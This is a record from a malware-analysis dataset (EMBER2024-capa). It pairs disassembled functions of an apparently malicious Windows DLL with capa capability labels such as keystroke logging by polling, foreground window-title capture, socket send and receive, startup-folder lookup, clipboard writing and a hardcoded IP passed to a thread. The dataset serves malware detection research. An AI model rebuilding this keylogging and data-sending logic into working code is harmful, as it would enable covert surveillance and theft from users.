joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10003c10
Capabilities:
Send data
Send data on socket

Disassembly:
mov eax, dword [eax + 0x14]
push ebx
test eax, eax
jne 0x10003c33
mov ecx, dword [esi + 0x44]
mov edx, dword [esi + 0x40]
push 0x23
push ecx
push edx
call dword [sym.imp.WS2_32.dll_WSAEventSelect]
cmp eax, 0xffffffff
jne 0x10003c4c
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov ebx, 1
mov dword [esi + 0x30], ebx
mov dword [esi + 0x34], 2
mov dword [esi + 0x38], eax
mov dword [esi + 0x3c], ebx
xor eax, eax
pop ebx
ret
push edi
lea eax, [esi + 0x19c]
push eax
lea ecx, [esi + 0x1d8]
mov ebx, 1
push ecx
mov dword [esi + 0x60], ebx
mov ecx, esi
mov eax, esi
mov dword [esi + 0x64], ebx
call fcn.10004b10
mov edx, dword [esi + 0x40]
xor edi, edi
push edi
push edi
push edi
push edx
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x10003c95
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edi, eax
cmp edi, 0x2733
jne 0x10003c95
xor edi, edi
mov eax, dword [esi + 0x48]
push eax
call fcn.100012a0
add esp, 4
test edi, edi
pop edi
je 0x10003cb0
mov eax, 0x80004005
call fcn.10001280
mov eax, ebx
pop ebx
ret

Function at 0x10003cc0
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
lea esp, [esp]
mov eax, dword [ebx + 0x70]
mov ecx, dword [ebx + 0x40]
push 0
push 0x598
push eax
push ecx
call dword [sym.imp.WS2_32.dll_recv]
mov edi, eax
test edi, edi
jle 0x10003d92
cmp edi, 0x10
jne 0x10003d18
mov edx, dword [ebx + 0x70]
mov ecx, eax
mov eax, 0x10028024
sub edx, eax
cmp ecx, 4
jb 0x10003dca
mov esi, dword [edx + eax]
cmp esi, dword [eax]
jne 0x10003d18
sub ecx, 4
add eax, 4
jmp 0x10003d00
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov ecx, dword [ebx + 0x1c0]
mov edx, dword [ebx + 0x1c8]
mov eax, dword [ebx + 0x70]
lea esi, [ebx + 0x1d8]
cmp edi, 0x18
jl 0x10003d46
push ecx
push edi
push eax
mov edi, edx
call fcn.10005090
jmp 0x10003d50
cmp edi, 0xc
jne 0x10003dc0
call fcn.10004f40
cmp eax, 2
jne 0x10003cd0
mov edx, dword [ebx + 0x48]
push edx
call fcn.100012a0
add esp, 4
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x10003d74
mov eax, 0x4c7
mov ecx, 1
mov dword [ebx + 0x3c], ecx
mov dword [ebx + 0x34], 4
pop edi
mov dword [ebx + 0x30], ecx
mov dword [ebx + 0x38], eax
pop esi
xor eax, eax
pop ebx
pop ebp
ret 4
cmp edi, 0xffffffff
jne 0x10003cd0
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
je 0x10003de7
cmp eax, 0x2744
je 0x10003cd0
cmp eax, 0x2746
je 0x10003cd0
jmp 0x10003d74
push 0xd
call dword [sym.imp.WS2_32.dll_WSASetLastError]
jmp 0x10003d59
xor eax, eax
pop edi
mov dword [ebx + 0x30], 1
mov dword [ebx + 0x34], 5
mov dword [ebx + 0x3c], eax
pop esi
mov dword [ebx + 0x38], eax
pop ebx
pop ebp
ret 4
pop edi
pop esi
mov eax, 1
pop ebx
pop ebp
ret 4
Function at 0x10003e00
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push ebx
push edi
jmp 0x10003e10
mov eax, dword [esi + 0x194]
test eax, eax
jle 0x10003f3a
lea edi, [esi + 0x160]
push edi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ebx, dword [esi + 0x17c]
cmp ebx, dword [esi + 0x180]
je 0x10003e4b
mov eax, dword [ebx + 4]
mov dword [esi + 0x17c], eax
mov dword [eax + 8], 0
jmp 0x10003e5d
test ebx, ebx
je 0x10003e5d
xor eax, eax
mov dword [esi + 0x17c], eax
mov dword [esi + 0x180], eax
xor eax, eax
cmp ebx, eax
je 0x10003e6f
mov dword [ebx + 4], eax
mov dword [ebx + 8], eax
dec dword [esi + 0x178]
push edi
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
test ebx, ebx
je 0x10003f3a
mov ecx, dword [ebx + 0x14]
mov eax, dword [ebx + 0x18]
push 0
sub eax, ecx
push eax
push ecx
mov ecx, dword [esi + 0x40]
push ecx
call dword [sym.imp.WS2_32.dll_send]
mov edi, eax
test edi, edi
jle 0x10003ebc
lea eax, [esi + 0x160]
push eax
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
sub dword [esi + 0x194], edi
lea eax, [esi + 0x160]
push eax
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
jmp 0x10003ec1
cmp edi, 0xffffffff
je 0x10003ee7
push ebx
lea edi, [esi + 0x98]
call fcn.10001490
test eax, eax
jne 0x10003e10
mov edx, dword [ebx]
push ebx
push eax
mov eax, dword [edx]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x10003e10
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
jne 0x10003f45
lea edi, [esi + 0x160]
push edi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov eax, dword [esi + 0x17c]
xor ecx, ecx
cmp eax, ecx
je 0x10003f1b
mov dword [eax + 8], ebx
mov ecx, dword [esi + 0x17c]
mov dword [ebx + 4], ecx
jmp 0x10003f27
mov dword [ebx + 8], ecx
mov dword [ebx + 4], ecx
mov dword [esi + 0x180], ebx
inc dword [esi + 0x178]
push edi
mov dword [esi + 0x17c], ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov eax, 1
pop edi
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, 1
push ebx
lea edi, [esi + 0x98]
mov dword [esi + 0x30], ecx
mov dword [esi + 0x34], 3
mov dword [esi + 0x38], eax
mov dword [esi + 0x3c], ecx
call fcn.10001490
test eax, eax
jne 0x10003f77
mov edx, dword [ebx]
push ebx
push eax
mov eax, dword [edx]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop edi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10003f80
Capabilities:
Send data
Send data on socket

Disassembly:
push ebx
push esi
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov ebx, eax
mov eax, dword [esi + 0x64]
cmp eax, 3
je 0x10004068
lea edi, [esi + 0x15c]
push edi
call fcn.10002bd0
mov ecx, dword [esi + 0x64]
cmp ecx, 1
je 0x10003fb8
mov edx, dword [esi + 0x64]
test edx, edx
jne 0x10004062
mov dword [esi + 0x64], 2
mov dword [edi], 0
mov eax, ebx
call fcn.10004180
mov eax, dword [esi + 0x60]
test eax, eax
je 0x10003ff3
cmp dword [esi + 0x3c], 0
je 0x10003fec
mov ecx, dword [esi + 0x40]
push 0
push 0x10
push 0x10028024
push ecx
call dword [sym.imp.WS2_32.dll_send]
mov dword [esi + 0x60], 0
cmp dword [esi + 0x30], 0
je 0x1000401b
mov edx, dword [esi + 0x48]
push edx
call fcn.100012a0
mov eax, dword [esi + 4]
add esp, 4
push eax
call dword [sym.imp.KERNEL32.dll_SetEvent]
push 0
lea ecx, [esi + 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov eax, dword [esi + 0x44]
test eax, eax
je 0x10004030
push eax
call dword [sym.imp.WS2_32.dll_WSACloseEvent]
mov dword [esi + 0x44], 0
mov eax, dword [esi + 0x40]
cmp eax, 0xffffffff
je 0x10004052
push 1
push eax
call dword [sym.imp.WS2_32.dll_shutdown]
mov edx, dword [esi + 0x40]
push edx
call dword [sym.imp.WS2_32.dll_closesocket]
mov dword [esi + 0x40], 0xffffffff
mov edi, esi
call fcn.10004080
pop edi
pop esi
mov eax, 1
pop ebx
ret
mov dword [edi], 0
push 0x139f
mov dword [esi + 0x5c], 1
call dword [sym.imp.KERNEL32.dll_SetLastError]
pop edi
pop esi
xor eax, eax
pop ebx
ret

Function at 0x10004450
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, ecx
mov eax, dword [esi + 4]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_ResetEvent]
push eax
call edi
mov ecx, dword [esi + 0x264]
push ecx
call edi
call dword [sym.imp.WINMM.dll_timeGetTime]
push 0
lea ebx, [esi + 0x18]
push ebx
mov dword [esi + 0x14], eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
xor eax, eax
mov dword [esi + 0x20], eax
mov dword [esi + 0x24], eax
mov word [esi + 0x28], ax
mov ecx, dword [esi + 0x64]
mov edx, dword [esi + 0x14]
mov eax, dword [esi + 0x18]
mov dword [esi + 0x20], edx
mov dword [esi + 0x24], eax
mov word [esi + 0x28], 0xca
cmp ecx, 3
je 0x100044b0
mov eax, esi
call fcn.10003f80
mov edx, dword [ebp + 0xc]
mov eax, dword [ebp + 8]
push edx
push eax
mov eax, esi
call fcn.10003520
mov ecx, dword [esi + 0x264]
push 0x1770
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x10004509
cmp eax, 0x102
je 0x100044f5
cmp eax, 0xffffffff
jne 0x100044fe
mov edx, dword [esi + 0x264]
push edx
call edi
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret 8
mov eax, dword [esi + 0x264]
push eax
call edi
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret 8
push 1
push ebx
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov ecx, dword [esi + 0x264]
push ecx
call edi
lea edx, [ebp - 4]
push edx
push 0
push esi
push 0x10004550
push 0
push 0
call fcn.100132b9
add esp, 0x18
pop edi
mov dword [esi + 0x268], eax
pop esi
mov al, 1
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x100052e0
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x1002c2b8]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [0x100328a0]
mov ecx, dword [eax]
mov edx, dword [ecx + 0xc]
push 0
push 0x100328a4
push 0x10027ff4
push eax
call edx
test eax, eax
jns 0x1000531d
xor al, al
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10012873
mov esp, ebp
pop ebp
ret
mov eax, dword [0x100328a4]
mov ecx, dword [eax]
mov edx, dword [ecx + 0x2c]
push 0x10027fbc
push eax
call edx
test eax, eax
js 0x1000530d
mov eax, dword [0x100328a4]
mov edx, dword [esi]
mov ecx, dword [eax]
push 0xa
push edx
push eax
mov eax, dword [ecx + 0x34]
call eax
test eax, eax
js 0x1000530d
mov eax, dword [0x100328a4]
lea edx, [ebp - 0x18]
push edx
mov dword [ebp - 0x18], 0x14
mov dword [ebp - 0x14], 0x10
mov dword [ebp - 0x10], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], 0x3c
mov ecx, dword [eax]
push 1
push eax
mov eax, dword [ecx + 0x18]
call eax
test eax, eax
js 0x1000530d
mov eax, dword [0x100328a4]
mov ecx, dword [eax]
mov edx, dword [ecx + 0x1c]
push eax
call edx
test eax, eax
js 0x1000530d
push 0x14
call dword [sym.imp.USER32.dll_GetKeyState]
movzx eax, ax
cmp ax, 0xff81
je 0x100053b9
mov dword [0x100328b0], 0
cmp ax, 1
jne 0x100053c3
mov dword [0x100328b0], 1
mov ecx, dword [ebp - 4]
xor ecx, ebp
mov al, 1
call fcn.10012873
mov esp, ebp
pop ebp
ret
Function at 0x100053e0
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [0x100328a4]
sub esp, 0x10
push ebx
push edi
xor edi, edi
cmp eax, edi
je 0x10005412
push edi
push 0x100328a8
push 0x100328b8
mov dword [0x100328a8], 0x3c
mov ecx, dword [eax]
mov edx, dword [ecx + 0x28]
push 0x14
push eax
call edx
mov dword [ebp - 0x10], edi
cmp dword [0x100328a8], edi
jle 0x100055c6
mov ebx, dword [sym.imp.USER32.dll_wsprintfW]
mov dword [ebp - 8], edi
lea ebx, [ebx]
xor eax, eax
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 8]
mov edx, dword [ecx + 0x100328b8]
mov edi, eax
imul edi, edi, 0x7c
dec edx
cmp edx, dword [edi + 0x1002e6b0]
jne 0x10005594
test byte [ecx + 0x100328bc], 0x80
je 0x1000556d
cmp eax, 0x39
jne 0x10005491
push 0x14
call dword [sym.imp.USER32.dll_GetKeyState]
movzx eax, ax
cmp ax, 0xff81
je 0x10005485
cmp ax, 1
je 0x10005485
mov dword [0x100328b0], 0
jmp 0x100054a3
mov dword [0x100328b0], 1
jmp 0x100054a3
cmp eax, 0x29
je 0x10005551
cmp eax, 0x35
je 0x10005551
cmp dword [0x100328ac], 0
je 0x10005513
lea eax, [edi + 0x1002e660]
push eax
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
je 0x100054d2
mov eax, dword [ebp - 4]
push eax
push esi
push 0x10028104
push esi
call ebx
jmp 0x10005591
cmp dword [0x100328b0], 0
je 0x10005501
lea eax, [edi + 0x1002e688]
push eax
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
je 0x10005501
mov ecx, dword [ebp - 4]
push ecx
push esi
push 0x10028104
push esi
call ebx
jmp 0x10005591
lea edx, [edi + str._esc_]
push edx
push esi
push 0x10028104
push esi
call ebx
jmp 0x10005591
cmp dword [0x100328b0], 0
je 0x1000553f
lea eax, [edi + 0x1002e688]
push eax
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
je 0x1000553f
mov eax, dword [ebp - 4]
push eax
push esi
push 0x10028104
push esi
call ebx
jmp 0x10005591
lea ecx, [edi + str._esc_]
push ecx
push esi
push 0x10028104
push esi
call ebx
jmp 0x10005591
lea edx, [edi + str._esc_]
push edx
push esi
push 0x100280f8
push esi
call ebx
mov dword [0x100328ac], 1
jmp 0x10005591
cmp eax, 0x29
je 0x10005577
cmp eax, 0x35
jne 0x10005594
lea eax, [edi + str._esc_]
push eax
push esi
push str._s_s
push esi
call ebx
mov dword [0x100328ac], 0
add esp, 0x10
mov eax, dword [ebp - 0xc]
inc eax
mov dword [ebp - 0xc], eax
cmp eax, 0x66
jl 0x10005435
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
jne 0x100055ce
mov eax, dword [ebp - 0x10]
add dword [ebp - 8], 0x14
inc eax
mov dword [ebp - 0x10], eax
cmp eax, dword [0x100328a8]
jl 0x10005430
pop edi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
mov al, 1
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10005fe0
Capabilities:
Create thread
Get common file path
Get startup folder

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100246d2
mov eax, dword fs:[0]
push eax
sub esp, 8
push ebx
push esi
push edi
mov eax, dword [0x1002c2b8]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [ebp + 8]
mov dword [esi], vtable.CManager.0
mov dword [esi + 4], ecx
mov eax, dword [ecx]
mov edx, dword [eax + 0xc]
push esi
call edx
xor ebx, ebx
push ebx
push ebx
push 1
push ebx
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [esi + 0xc], eax
mov dword [esi + 8], ebx
mov dword [ebp - 4], ebx
mov edi, dword [sym.imp.KERNEL32.dll_InitializeCriticalSectionAndSpinCount]
lea eax, [esi + 0x230]
push ebx
push eax
mov dword [esi], vtable.CKeyboardManager.0
call edi
neg eax
sbb eax, eax
neg eax
jne 0x1000605a
mov eax, 0x80004005
call fcn.10001280
lea eax, [esi + 0x250]
push ebx
push eax
mov byte [ebp - 4], 1
call edi
neg eax
sbb eax, eax
neg eax
jne 0x1000607a
mov eax, 0x80004005
call fcn.10001280
lea edi, [esi + 0x18]
push edi
push ebx
push ebx
push 0x23
mov byte [ebp - 4], 2
push ebx
mov dword [esi + 0x14], ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
push 0x10028278
push edi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push edi
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
push 0x400
mov dword [esi + 0x224], eax
mov byte [esi + 0x220], 1
call fcn.10011f29
push 0x800
mov dword [0x10032894], eax
call fcn.10011f29
mov ecx, dword [0x10032894]
mov dword [ecx], ebx
add esp, 8
mov dword [0x10032890], eax
mov dword [eax], ebx
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [esi + 0x248], eax
mov byte [ebp - 0xd], 0xb
cmp dword [esi + 8], ebx
jne 0x10006102
mov ecx, dword [esi + 4]
mov edx, dword [ecx]
mov edx, dword [edx + 8]
push 1
lea eax, [ebp - 0xd]
push eax
call edx
push ebx
push ebx
push esi
push 0x10005d30
push ebx
push ebx
call fcn.100132b9
push ebx
push ebx
push esi
push 0x10005ed0
push ebx
push ebx
mov dword [esi + 0x228], eax
call fcn.100132b9
mov dword [esi + 0x22c], eax
add esp, 0x30
mov dword [esi + 0x14], 1
mov dword [esi + 0x24c], ebx
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x100063d0
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x81c
mov eax, dword [0x1002c2b8]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [0x10032890]
push esi
mov dword [eax], 0
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov ecx, dword [0x10032890]
push 0x400
push ecx
push eax
mov dword [0x10032d68], eax
call dword [sym.imp.USER32.dll_GetWindowTextW]
xor edx, edx
push 0x7fe
push edx
lea eax, [ebp - 0x806]
push eax
xor esi, esi
mov word [ebp - 0x808], dx
call fcn.1001ccd0
mov ecx, dword [0x10032d68]
add esp, 0xc
cmp ecx, dword [0x100328b4]
je 0x100064cf
mov edx, dword [0x10032890]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
jle 0x100064c3
lea eax, [ebp - 0x818]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx ecx, word [ebp - 0x80c]
movzx edx, word [ebp - 0x80e]
movzx eax, word [ebp - 0x810]
push ecx
movzx ecx, word [ebp - 0x812]
push edx
movzx edx, word [ebp - 0x816]
push eax
movzx eax, word [ebp - 0x818]
push ecx
mov ecx, dword [0x10032890]
push edx
push eax
push ecx
lea edx, [ebp - 0x808]
push 0x100282b8
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x24
lea eax, [ebp - 0x808]
push eax
push edi
call fcn.10006370
mov ecx, dword [0x10032890]
mov dword [ecx], esi
mov esi, 1
mov edx, dword [0x10032d68]
mov dword [0x100328b4], edx
mov ecx, dword [ebp - 4]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.10012873
mov esp, ebp
pop ebp
ret
Function at 0x100071b0
Capabilities:
Open clipboard
Write clipboard data

Disassembly:
push ebp
mov ebp, esp
push esi
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_OpenClipboard]
call dword [sym.imp.USER32.dll_EmptyClipboard]
push edi
push 2
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov esi, eax
test esi, esi
je 0x10007202
push esi
call dword [sym.imp.KERNEL32.dll_GlobalLock]
mov ecx, dword [ebp + 8]
push edi
push ecx
push eax
call fcn.10014a40
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push esi
push 1
call dword [sym.imp.USER32.dll_SetClipboardData]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
call dword [sym.imp.USER32.dll_CloseClipboard]
pop esi
pop ebp
ret 4

Function at 0x10007740
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1002458b
mov eax, dword fs:[0]
push eax
push ecx
push ebx
push esi
mov eax, dword [0x1002c2b8]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [ebp + 8]
mov ecx, dword [ebp + 0x10]
mov eax, dword [ebp + 0xc]
mov dword [esi + 4], ecx
xor ebx, ebx
lea ecx, [esi + 0x10]
mov dword [esi], eax
mov dword [esi + 8], edx
mov dword [esi + 0xc], ebx
mov dword [ecx], ebx
mov dword [ecx + 4], ebx
mov dword [ecx + 8], ebx
mov dword [ecx + 0xc], ebx
mov dword [ecx + 0x14], ebx
mov dword [ecx + 0x18], ebx
mov byte [ecx + 0x1c], bl
mov dword [ecx + 0x20], ebx
mov dword [ecx + 0x24], ebx
mov byte [ecx + 0x28], bl
mov dword [ecx + 0x2c], ebx
mov dword [ecx + 0x30], ebx
mov byte [ecx + 0x34], bl
mov dword [ebp - 4], ebx
mov eax, dword [esi]
mov edx, dword [esi + 0xc]
push eax
mov eax, dword [esi + 8]
push edx
mov edx, dword [esi + 4]
push eax
mov eax, dword [esi]
push edx
push eax
call fcn.10008c50
add esp, 0x14
test al, al
mov eax, esi
jne 0x100077ca
mov dword [esi + 8], ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x10011900
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
dec eax
jne 0x10011937
cmp dword [0x1002e634], eax
je 0x10011937
cmp dword [0x10032d6c], eax
jne 0x10011937
push eax
push eax
push eax
push 0x100117e0
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xffffffffffffffff
push eax
mov dword [0x10032d6c], eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, 1
pop ebp
ret 0xc

Function at 0x10011940
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
push eax
push 0xff
push str.192.168.50.142
call fcn.10013106
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
mov eax, dword [ebp + 0x14]
add esp, 0xc
push 0
push 0
push 0
push 0x100117e0
push 0
push 0
mov dword [0x1002e62c], ecx
mov dword [0x1002e630], edx
mov dword [0x1002e634], eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xffffffffffffffff
push eax
mov dword [0x10032d6c], eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0x12c
call dword [sym.imp.KERNEL32.dll_Sleep]
xor al, al
pop ebp
ret

Function at 0x100119b0
Capabilities:
Create thread

Disassembly:
push 0
push 0
push 0
push 0x100117e0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0x12c
call dword [sym.imp.KERNEL32.dll_Sleep]
xor al, al
ret

Function at 0x10012873
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x1002c2b8]
jne 0x1001287d
repz ret
jmp fcn.10016f17
Function at 0x1001e51c
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x1002c2b8]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.10018d6e
and dword [ebp - 0x14], 0
cmp dword [0x10032868], 0
mov dword [ebp - 0x18], eax
jne 0x1001e5cf
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x1001e677
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x1001e677
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x10032868], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x1003286c], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x10032870], eax
call edi
push eax
call esi
mov dword [0x10032878], eax
test eax, eax
je 0x1001e5cf
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x10032874], eax
mov eax, dword [0x10032874]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x1001e628
cmp dword [0x10032878], ecx
je 0x1001e628
push eax
call esi
push dword [0x10032878]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x1001e628
test ebx, ebx
je 0x1001e628
call edi
test eax, eax
je 0x1001e61f
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x1001e61f
test byte [ebp - 8], 1
jne 0x1001e628
or dword [ebp + 0x10], 0x200000
jmp 0x1001e65b
mov eax, dword [0x1003286c]
cmp eax, dword [ebp - 0x18]
je 0x1001e65b
push eax
call esi
test eax, eax
je 0x1001e65b
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x1001e65b
mov eax, dword [0x10032870]
cmp eax, dword [ebp - 0x18]
je 0x1001e65b
push eax
call esi
test eax, eax
je 0x1001e65b
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x10032868]
call esi
test eax, eax
je 0x1001e677
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x1001e679
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10012873
leave
ret